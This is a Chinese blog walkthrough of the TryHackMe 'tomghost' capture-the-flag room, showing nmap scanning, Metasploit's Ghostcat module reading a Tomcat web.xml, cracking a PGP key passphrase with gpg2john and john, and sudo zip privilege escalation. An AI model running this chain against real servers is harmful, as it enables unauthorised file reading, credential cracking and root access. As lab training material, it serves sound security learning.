【THM】tomghost练习

【THM】tomghost练习

与本文相关的TryHackMe实验房间链接:TryHackMe | Room details

简介:识别最近的漏洞,以尝试利用系统或读取你没有权限访问的文件。

img**

你能完成这个挑战吗?

**机器可能需要长达5分钟的启动和配置。

管理员记录:这个房间的用户名包含不适当的内容,其中包含脏话,小孩请绕道。-Dark

image-20240714232219512

第一题:提升权限并获取root.txt(文件读取)

第一步

端口扫描

首先使用nmap对端口进行扫描

nmap -Pn -sV -T4 10.10.27.90`

-Pn 将所有主机视为在在线,跳过主机发现的过程

-sV 显示端口对应的服务的服务版本

-T4 设置时间模板,表示扫描速度,数字越大速度越快,数字越小报警几率越低

image-20240714233336777

可以发现目标开放了4个端口:22/tcp ssh服务、53/tcp tcpwrapped服务、8009/tcp ajp13服务、8080/tcp http服务

第二步

访问网站

我们先进入网站看看界面image-20240714235914298

可以发现8080端口正在使用9.0.30版本的Apache Tomcat服务

第三步

搜索相关漏洞

上Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers (exploit-db.com)漏洞库中搜索“tomcat”查找相关漏洞,我们发现了这个:

image-20240714235641716

”ghostcat“,和题目名字类似,并且是文件读取和文件包含的漏洞,我们可以试试这个漏洞!记下漏洞的编号,我们进入下一步。

第四步

使用Metasploit利用漏洞

在命令行输入

msfconsole

即可打开Metasploit的控制台,我们这台攻击机的Metasploit版本太老了,按照提示更新它

image-20240715000640715

更新后打开

image-20240715000847667

搜索漏洞的编号

search 48143

image-20240715001019949

我们可以看到一条搜索结果,在搜索结果中编号为0,或者是根据分类在 auxiliary/admin/http/tomcat_ghostcat目录下,我们输入命令使用这个漏洞库中的漏洞

use 0

或者是

use auxiliary/admin/http/tomcat_ghostcat

image-20240715001245757

我们使用以下命令来进入漏洞利用的设置选项

options

image-20240715001358651

可以发现FILENAME(利用文件) 选项已经设定好为/WEB-INF/web.xml,看不懂的就不要改

​ RPORT(目标端口) 选项已经设定好为8009,跟我们的目标端口一致不用改

​ RHOSTS(目标地址) 选项是空的,我们设置成靶机的地址

即输入以下命令:

set RHOSTS 10.10.27.90

image-20240715001755231

设置完成,可以启动了,输入以下命令:

exploit		#或者run

image-20240715001925889

msf6 auxiliary(admin/http/tomcat_ghostcat) > run
[*] Running module against 10.10.27.90
<?xml version="1.0" encoding="UTF-8"?>
<!--Licensed to the Apache Software Foundation (ASF) under one or morecontributor license agreements.  See the NOTICE file distributed withthis work for additional information regarding copyright ownership.The ASF licenses this file to You under the Apache License, Version 2.0(the "License"); you may not use this file except in compliance withthe License.  You may obtain a copy of the License athttp://www.apache.org/licenses/LICENSE-2.0Unless required by applicable law or agreed to in writing, softwaredistributed under the License is distributed on an "AS IS" BASIS,WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.See the License for the specific language governing permissions andlimitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaeehttp://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"version="4.0"metadata-complete="true"><display-name>Welcome to Tomcat</display-name><description>Welcome to GhostCatskyfuck:8730281lkjlkjdqlksalks</description></web-app>[+] 10.10.27.90:8009 - File contents save to: /root/.msf4/loot/20240714171857_default_10.10.27.90_WEBINFweb.xml_016313.txt
[*] Auxiliary module execution completed

我们应该是通过漏洞文件读取到了/web.xml文件,跑出一大堆东西我们仔细看看,得到一个像是页面一样的返回,发现了像是账号密码一样的东西

<description>Welcome to GhostCatskyfuck:8730281lkjlkjdqlksalks</description>

根据题目提示说用户名含有脏话,我们发现的这个“skyfuck”应该就是用户名了,后边的就是密码,这种格式保存的账号密码类似于ssh的user:password的格式

我们就使用ssh连接一下看看:

ssh skyfuck@10.10.27.90

image-20240715002914585

输入密码后,终端前面显示的是skyfuck@ubuntu:~$时,我们就是成功远程连接上skyfuck的账号了,我们可以肆意读取查看他的目录有些什么,其中就包含了第一题的答案

image-20240715003414451

思路:首先ls查看有哪些文件,没找到user.txt(但我们发现的两个文件下一部分要讲),于是cd ../返回上一层目录再看看,发现了另一个用户目录merlin,cd merlin进入ls查看发现了user.txt,使用cat user.txt提取flag

image-20240715003628657

第二题:提升权限并获取root.txt(解密+权限提升)

我们通过命令:

sudo -l

image-20240715012712073

发现skyfuck没有任何高级权限,题目要求我们提权,skyfuck用户目录下又有两个奇怪的文件,我们应该从这里入手......

第一步

提取文件

在skyfuck的目录下我们发现了credential.pgp和tryhackme.asc两个文件

其中credential.pgp是一个用pgp程序加密过了的加密文件

tryhackme.asc应该就是密钥文件了

首先我们将两个文件传回攻击机

scp skyfuck@10.10.27.90:/home/skyfuck/credential.pgp /tmpscp skyfuck@10.10.27.90:/home/skyfuck/tryhackme.asc /tmp

这样我们攻击机的tmp目录下就有了这两文件

image-20240715005450826

一般来说我们应该可以直接利用gpg程序进行解密了,但当我们导入密钥的时候发现文件被口令上锁了,所以在进行解密之前我们应该先破解出密钥的口令

第二步

文件转换

我们可以使用jhon工具对口令进行暴力破解,但首先我们要将秘钥文件asc转换成jhon工具看的懂的格式,于是使用以下命令:

gpg2john tryhackme.asc > hash

image-20240715010140632

(上图上半部分是手贱cat tryhackme.asc看了下里面的内容...)

第三步

爆破哈希值

我们知道哈希函数是无法逆运算的,也就是说我们采用的是爆破的方法来提取出秘钥源数据,这在现实中我认为是大概率是很难成功的,但这只是一道题目,所以我们用默认的字典配合jhon工具来爆破秘钥就行了:

john --wordlist=/usr/share/wordlists/rockyou.txt hash

image-20240715010743450

可以发现爆破出来了秘钥:alexandru

第四步

解密

因为我们知道了加密文件采用了gpg程序的加密,所以我们也应该用gpg程序解密,我们先导入秘钥:

gpg --import tryhackme.asc

image-20240715011609639

输入我们解出的密码,成功导入秘钥

导入秘钥后解密credential.pgp文件:

gpg credential.pgp 

之后读取解密文件:

cat credential 

image-20240715012426543

发现了merlin用户的密码asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j ,立刻登录看看

ssh merlin@10.10.27.90

image-20240715013632860

登录后,我们不能进入root目录,这时该怎么办呢?

第五步

权限提升

首先我们看看merlin的高权限能用在哪里,使用以下命令查看:

sudo -l

image-20240715013840266

我们发现merlin可以以root用户的权限使用zip命令,这样我们就有突破口了,进入网站GTFOBins

搜索zip命令的提权漏洞

image-20240715014015014

发现符合我们情况的”sudo“内容,我们遵循它给出的POC即可利用系统漏洞进行提权!

image-20240715014335815

我们可以检查一下我们的身份,我们成为了root用户!

image-20240715014416476

一顿操作就得到了flag

image-20240715014515536

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/743799.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

电动自行车 LED 大灯不亮故障分析和维修教程 All In One

电动自行车 LED 大灯不亮故障分析和维修教程 All In One 电动自行车内置的 LED 前大灯,在骑行途中突然不亮了 ❌电动自行车 LED 大灯不亮故障分析和维修教程 All In One自己动手,丰衣足食问题表象 电动自行车内置的 LED 前大灯,在骑行途中突然不亮了 ❌故障排查转向灯正常 行…

边缘计算是什么?为什么边缘计算平台如此重要?

边缘计算是一种在物联网设备、传感器、嵌入式设备等边缘节点上进行数据处理、分析和存储的计算模式。边缘计算利用设备本身的计算能力,将处理和存储任务从中央云端转移到边缘设备上。这样可以减少数据传输的延迟和网络拥塞,并提高数据隐私和安全性。而边缘计算平台之所以如此…

《《《maven仓库下载jar包

地址:Maven Repository: Search/Browse/Explore (mvnrepository.com) 1.搜索需要的jar包,下面以 easyExcel 为例 2.每天多努力一点,你将会变得更好。

Go语言基于go module方式管理包(package)

目录一.Go Modules发展史1 前言2 早期第三方包存储在GOPATH路径3 vendor阶段4 社区管理工具层出不穷5 go modules官宣官方管理工具二.go module介绍1 GO111MODULE环境变量2 GOPROXY3 GOSUMDB4 GONOPROXY/GONOSUMDB/GOPRIVATE5 go.mod文件6 go.sum文件7 依赖保存位置三. 3.go …

基于go module方式管理包(package)

目录一.Go Modules发展史1 前言2 早期第三方包存储在GOPATH路径3 vendor阶段4 社区管理工具层出不穷5 go modules官宣官方管理工具二.go module介绍1 GO111MODULE环境变量2 GOPROXY3 GOSUMDB4 GONOPROXY/GONOSUMDB/GOPRIVATE5 go.mod文件6 go.sum文件7 依赖保存位置三. 3.go …

rsync+inotify数据的实时同步

一、实时同步技术介绍 1.工作原理:要利用监控服务(inotify),监控同步数据服务器目录中信息的变化发现目录中数据产生变化,就利用rsync服务推送到备份服务器上2.inotify 异步的文件系统事件监控机制,利用事件驱动机制,而无须通过诸如cron等的轮询机制来获取事件,linux内…

Mysql在数据插入后立即获取插入的Id

项目中有需要再数据插入后实用插入的Id,这里使用的是useGeneratedKeys什么是useGeneratedKeys? 官方的说法是该参数的作用是:“允许JDBC支持自动生成主键,需要驱动兼容”,如何理解这句话的意思?其本意是说:对于支持自动生成记录主键的数据库,如:MySQL,SQL Server,此…

03_spark_RDD算子

Transformation 转换算子 RDD 整体上分为 Value、双Value、Key-Value 三种类型。 Value 类型 Map算子函数签名 def map[U:ClassTag](f:T=>U):RDD[U],它通过接受一个参数,并且遍历该 RDD 中每一个数据项,依次应用函数 f 并得到新的 RDD;object Value01_map {def main(arg…

启动数据分析软件SPSS17遭遇的两弹窗解决方案

问题描述 朋友请我帮她安装 SPSS17 这款软件,我寻思这是啥软件,谷歌一下,发现是一个数据分析工具。 在一系列的下一步、确定后,打开时,第 1 个惊喜弹窗来了: 【弹窗内容】应用程序无法启动,因为应用程序的并行配置不正确。有关详细信息,请参阅应用程序事件日志,或使用…

HackChat匿名聊天室

匿名聊天聊天室地址 这是一款极简、无干扰的聊天应用程序,可以让你专注于交流而不必担心干扰. 频道通过 url 创建、加入和共享,通过更改问号后的文本来创建自己的频道. hack.chat 服务器上不会保留任何消息历史记录,链接断开消息就会删除. 使用教程 欢迎使用 hack.chat,这是…

通过MATLAB分别对比二进制编码遗传优化算法和实数编码遗传优化算法

1.程序功能描述通过MATLAB分别对比二进制编码遗传优化算法和实数编码遗传优化算法,对比最优适应度值,平均适应度值以及算法运算效率。2.测试软件版本以及运行结果展示 MATLAB2022a版本运行3.核心程序%-10~10,初始化种群 Popu = 6*rand(NUM,dim)-3; %初始化最优适应度值 Vb…

【CICID】GitHub-Actions-SpringBoot项目部署

目录【CICID】GitHub-Actions-SpringBoot项目部署0 流程图1 创建SprinBoot项目1.1 项目结构1.2 Dockerfile文件2 云服务器环境搭建2.1 安装docker2.2 获取IP、账号、密码3 Github配置3.1 配置密码3.2 创建Action3.2 action代码4 触发5 效果5.1 查看Action信息5.3 云服务器5.3.1…